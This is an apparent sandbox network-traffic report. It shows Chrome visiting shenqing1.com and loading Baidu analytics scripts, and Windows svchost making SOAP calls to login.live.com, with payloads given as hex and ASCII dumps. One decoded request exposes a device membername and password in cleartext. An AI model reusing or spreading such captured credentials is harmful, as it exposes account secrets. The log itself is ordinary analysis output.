Dec 2, 2024 04:58:03.866571903 CET	515	OUT	GET /favicon.ico HTTP/1.1 Host: www.shenqing1.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: Hm_lvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; Hm_lpvt_282ad46c18b6295a8bb8e1da991aa804=1733111880; HMACCOUNT=436E3B5EE945DDD8; Hm_tf_d94f3xexzei=1733111881; Hm_lvt_d94f3xexzei=1733111881; Hm_lpvt_d94f3xexzei=1733111881
Dec 2, 2024 04:58:04.262897015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 02 Dec 2024 03:58:04 GMT Content-Type: image/x-icon Content-Length: 1150 Last-Modified: Fri, 01 Jul 2011 08:14:23 GMT Connection: keep-alive ETag: "4e0d81df-47e" Expires: Sat, 07 Dec 2024 03:58:04 GMT Cache-Control: max-age=432000 Accept-Ranges: bytes Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 d8 ee ff 27 51 9f ff ae 51 9f ff ae d8 ee ff 27 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 da f2 ff 25 67 ba ff 98 00 6f ff ff 00 6d ff ff 00 6d ff ff 00 6f ff ff 67 b9 ff 98 da f2 ff 25 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 de f5 ff 21 68 c5 ff 97 00 87 ff ff 00 8a ff ff 40 ad ff bf c1 de f5 42 c1 de f5 42 40 ad ff bf 00 8a ff ff 00 87 ff ff 68 c5 ff 97 de f5 ff 21 ff ff ff 00 ff ff ff 00 e1 f4 ff 1e 6f c8 ff 90 00 96 ff ff 00 a6 ff ff 3d c2 ff c2 bc e5 f8 46 d1 df e7 3b 8f 88 8d a1 8f 88 8d a1 d1 df e7 3b bc e5 f8 46 3d c2 ff c2 00 a6 ff ff 00 95 ff ff 6f cb ff 90 e1 f5 ff 1e 0d 89 ff f2 00 91 ff ff 3a c4 ff c5 bf ed fa 42 d5 e6 eb 38 [TRUNCATED] Data Ascii: h( @'QQ'%gommog%!h@BB@h!o=F;;F=o:B8P6@?2K?1JP6@8B:v\|x@Gf@S88i>L>Axkqf2YnTe}Ti5ko=R{Tr=oyqk`jqLYks<eGj]R]GX_NWiQkM>ZR^f\|gP0LSF`yfztseo=AA=o;_PbFaQBd"^gipmxMy{Qp88{QjO{x\|evTfv[GB8oLjYCQXBPoKi8B@mT$nX}di=F;;F=id\|!mwv@BB
Dec 2, 2024 04:58:04.262907982 CET	220	IN	Data Raw: 40 b9 96 bf 00 a7 76 ff 00 9f 78 ff 6c ca b0 97 e0 f4 ee 21 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 da f6 ef 25 68 cf b6 98 04 91 6f ff 04 8b 64 ff 04 8b 64 ff 05 90 6e ff 68 cf b5 98 da f6 ef 25 ff ff ff 00 ff ff Data Ascii: @vxl!%hoddnh%'\\'
Dec 2, 2024 04:58:49.277641058 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49757	112.34.113.148	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:57:58.831088066 CET	320	OUT	GET /push.js HTTP/1.1 Host: push.zhanzhang.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:58:00.453749895 CET	377	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 232 Content-Type: text/javascript Server: bfe Date: Mon, 02 Dec 2024 03:58:00 GMT Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Dec 2, 2024 04:58:45.465133905 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49760	112.34.113.148	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:00.717245102 CET	284	OUT	GET /push.js HTTP/1.1 Host: push.zhanzhang.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:58:02.383719921 CET	377	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 232 Content-Type: text/javascript Server: bfe Date: Mon, 02 Dec 2024 03:58:02 GMT Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 64 8f 41 6b bc 30 10 47 bf ca ae 07 49 50 27 ff eb 7f 25 48 e9 69 af 85 5e ba 59 4a 1a 47 0d ac 33 32 c6 0a 6d f7 bb 17 2b 3d f5 32 87 07 f3 1e bf 63 b7 50 48 91 49 e9 cf 77 2f 07 b4 46 5d 86 94 a6 af ed cc d7 93 33 ce 5c 7c f5 f1 50 bd fc ab fe bb 57 07 d7 c2 c1 9b 8f ed e2 20 f0 a8 4d 1f 4b b1 6b a4 96 57 b8 71 f0 9b 0d 06 c1 ae 64 db 72 58 46 a4 04 82 1d 8a a0 d4 b1 53 47 84 84 73 52 a2 f7 26 d9 cc 18 3f 45 98 07 2f b8 bb 37 b5 99 a1 8f 5d 56 73 a3 a8 b0 59 23 36 2b 90 02 b7 f8 fc 74 7e e4 71 62 42 4a ea 4f 43 97 92 e7 3f 2f f9 cd 66 85 68 7d fa 05 cd 0e ea 2d 9b 2c e1 7a 38 8f be c7 3a c1 2c c1 d2 fd ae f6 21 ba fe 0e 00 00 ff ff 97 51 90 77 19 01 00 00 Data Ascii: dAk0GIP'%Hi^YJG32m+=2cPHIw/F]3\\|PW MKkWqdrXFSGsR&?E/7]VsY#6+t~qbBJOC?/fh}-,z8:,!Qw
Dec 2, 2024 04:58:47.387012005 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49769	180.101.212.103	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:01.847033024 CET	402	OUT	GET /s.gif?l=http://www.shenqing1.com/ HTTP/1.1 Host: api.share.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:58:03.356965065 CET	116	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Mon, 02 Dec 2024 03:58:03 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49773	112.34.113.148	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:03.619587898 CET	305	OUT	GET /s.gif?l=http://www.shenqing1.com/ HTTP/1.1 Host: api.share.baidu.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Dec 2, 2024 04:58:05.264750957 CET	116	IN	HTTP/1.1 200 OK Content-Length: 0 Content-Type: text/plain; charset=utf-8 Date: Mon, 02 Dec 2024 03:58:04 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	38.31.228.123	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:42.777669907 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49761	112.34.113.148	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:45.840130091 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49770	180.101.212.103	80	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 04:58:46.871423006 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49737	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:57:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 03:57:56 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 03:57:57 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 03:56:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_BAY x-ms-request-id: 7336cd22-7d5e-4a03-b3ae-5f96794d1dc0 PPServer: PPV: 30 H: PH1PEPF0001B7DE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:57:56 GMT Connection: close Content-Length: 1276
2024-12-02 03:57:57 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49748	20.190.181.3	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:57:59 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-12-02 03:57:59 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6a 61 71 63 78 6b 72 6e 7a 75 71 76 61 70 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 71 68 71 40 6e 30 66 6f 6f 68 78 72 32 70 68 73 52 46 68 7a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 6b 71 72 6c 66 67 75 6b 69 6a 65 76 6c 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02jaqcxkrnzuqvap</Membername><Password>qhq@n0foohxr2phsRFhz</Password></Authentication><OldMembername>02akqrlfgukijevl</OldM
2024-12-02 03:58:00 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 02 Dec 2024 03:56:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C528_SN1 x-ms-request-id: 27801de8-e164-4539-879e-89982095ece6 PPServer: PPV: 30 H: SN1PEPF0002FA6E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 03:57:59 GMT Connection: close Content-Length: 17166
2024-12-02 03:58:00 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 32 39 30 38 31 41 34 31 43 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 33 37 30 30 39 65 63 39 2d 35 62 66 39 2d 34 36 64 39 2d 39 64 65 64 2d 38 39 31 61 31 33 30 39 33 64 35 32 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001800129081A41C</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="37009ec9-5bf9-46d9-9ded-891a13093d52" LicenseID="3252b20c-d425-4711
2024-12-02 03:58:00 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49754	111.45.11.83	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:00 UTC	550	OUT	GET /hm.js?f65b5decfda457ddb48fb11285b70333 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 03:58:00 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Mon, 02 Dec 2024 03:58:00 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49753	111.45.11.83	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:00 UTC	550	OUT	GET /hm.js?282ad46c18b6295a8bb8e1da991aa804 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://www.shenqing1.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-02 03:58:00 UTC	615	IN	HTTP/1.1 200 OK Cache-Control: max-age=0, must-revalidate Content-Length: 29894 Content-Type: application/javascript Date: Mon, 02 Dec 2024 03:58:00 GMT Etag: 9bce0cc50c03e1043c308764d22d77c5 P3p: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Server: apache Set-Cookie: HMACCOUNT=436E3B5EE945DDD8; Path=/; Domain=hm.baidu.com; Expires=Sun, 18 Jan 2038 00:00:00 GMT Set-Cookie: HMACCOUNT_BFESS=436E3B5EE945DDD8; Path=/; Domain=hm.baidu.com; Expires=Mon, 18 Jan 2038 00:00:00 GMT; Secure; SameSite=None Strict-Transport-Security: max-age=172800 Connection: close
2024-12-02 03:58:00 UTC	564	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 2c 6d 74 3d 7b 7d 2c 63 3d 7b 69 64 3a 22 32 38 32 61 64 34 36 63 31 38 62 36 32 39 35 61 38 62 62 38 65 31 64 61 39 39 31 61 61 38 30 34 22 2c 64 6d 3a 5b 22 7a 6f 6e 67 2e 63 6f 6d 22 5d 2c 6a 73 3a 22 74 6f 6e 67 6a 69 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2d 77 65 62 2f 6a 73 2f 22 2c 65 74 72 6b 3a 5b 5d 2c 63 65 74 72 6b 3a 5b 5d 2c 63 70 74 72 6b 3a 5b 5d 2c 69 63 6f 6e 3a 27 27 2c 63 74 72 6b 3a 5b 5d 2c 76 64 75 72 3a 31 38 30 30 30 30 30 2c 61 67 65 3a 33 31 35 33 36 30 30 30 30 30 30 2c 71 69 61 6f 3a 30 2c 70 74 3a 30 2c 73 70 61 3a 30 2c 61 65 74 3a 27 27 2c 68 63 61 3a 27 34 33 36 45 33 42 35 45 45 39 34 35 44 44 44 38 27 2c 61 62 3a 27 30 27 2c 76 3a 31 7d 3b 76 61 72 20 73 3d 76 Data Ascii: (function(){var h={},mt={},c={id:"282ad46c18b6295a8bb8e1da991aa804",dm:["zong.com"],js:"tongji.baidu.com/hm-web/js/",etrk:[],cetrk:[],cptrk:[],icon:'',ctrk:[],vdur:1800000,age:31536000000,qiao:0,pt:0,spa:0,aet:'',hca:'436E3B5EE945DDD8',ab:'0',v:1};var s=v
2024-12-02 03:58:00 UTC	1897	IN	Data Raw: 20 29 22 2b 65 2b 22 3d 28 5b 5e 3b 5d 2a 29 28 3b 7c 24 29 22 29 2e 65 78 65 63 28 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 29 3f 65 5b 32 5d 3a 75 7d 3b 0a 6d 74 2e 63 6f 6f 6b 69 65 2e 72 62 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 74 72 79 7b 76 61 72 20 62 3d 22 48 6d 5f 63 6b 5f 22 2b 20 2b 6e 65 77 20 44 61 74 65 3b 6d 74 2e 63 6f 6f 6b 69 65 2e 73 65 74 28 62 2c 22 34 32 22 2c 7b 64 6f 6d 61 69 6e 3a 65 2c 70 61 74 68 3a 61 2c 43 3a 73 7d 29 3b 76 61 72 20 6b 3d 22 34 32 22 3d 3d 3d 6d 74 2e 63 6f 6f 6b 69 65 2e 67 65 74 28 62 29 3f 22 31 22 3a 22 30 22 3b 6d 74 2e 63 6f 6f 6b 69 65 2e 73 65 74 28 62 2c 22 22 2c 7b 64 6f 6d 61 69 6e 3a 65 2c 70 61 74 68 3a 61 2c 43 3a 2d 31 7d 29 3b 72 65 74 75 72 6e 20 6b 7d 63 61 74 63 68 28 64 29 7b Data Ascii: )"+e+"=([^;]*)(;\|$)").exec(document.cookie))?e[2]:u};mt.cookie.rb=function(e,a){try{var b="Hm_ck_"+ +new Date;mt.cookie.set(b,"42",{domain:e,path:a,C:s});var k="42"===mt.cookie.get(b)?"1":"0";mt.cookie.set(b,"",{domain:e,path:a,C:-1});return k}catch(d){
2024-12-02 03:58:00 UTC	3537	IN	Data Raw: 31 29 2c 6b 3d 30 3b 6b 3c 62 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 6b 5d 2c 0a 66 3b 66 6f 72 28 66 20 69 6e 20 64 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 64 2c 66 29 26 26 64 5b 66 5d 26 26 28 61 5b 66 5d 3d 64 5b 66 5d 29 7d 72 65 74 75 72 6e 20 61 7d 3b 6d 74 2e 6c 61 6e 67 2e 50 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 2c 64 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 68 69 73 74 6f 72 79 2c 67 3d 61 5b 62 5d 3b 61 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 67 2e 61 70 70 6c 79 28 61 2c 61 72 67 75 6d 65 6e 74 73 29 3b 6d 74 2e 6c 61 6e 67 2e 6a 28 64 29 26 26 64 28 29 7d 7d 62 28 22 70 75 73 68 53 74 61 74 65 22 Data Ascii: 1),k=0;k<b.length;k++){var d=b[k],f;for(f in d)Object.prototype.hasOwnProperty.call(d,f)&&d[f]&&(a[f]=d[f])}return a};mt.lang.Pb=function(a){function b(b,d){var a=window.history,g=a[b];a[b]=function(){g.apply(a,arguments);mt.lang.j(d)&&d()}}b("pushState"
2024-12-02 03:58:00 UTC	4716	IN	Data Raw: 2e 61 74 74 72 69 62 75 74 65 73 26 26 62 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 66 3d 62 2e 61 74 74 72 69 62 75 74 65 73 2c 65 3d 66 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 65 3b 6c 2b 2b 29 66 5b 6c 5d 2e 6e 6f 64 65 4e 61 6d 65 3d 3d 3d 61 26 26 28 64 3d 66 5b 6c 5d 2e 6e 6f 64 65 56 61 6c 75 65 29 3b 72 65 74 75 72 6e 20 64 7d 3b 6d 74 2e 64 2e 51 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 62 2e 74 61 67 4e 61 6d 65 21 3d 3d 73 26 26 28 61 3d 62 2e 74 61 67 4e 61 6d 65 29 3b 72 65 74 75 72 6e 20 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 3b 6d 74 2e 64 2e 5a 61 3d 66 75 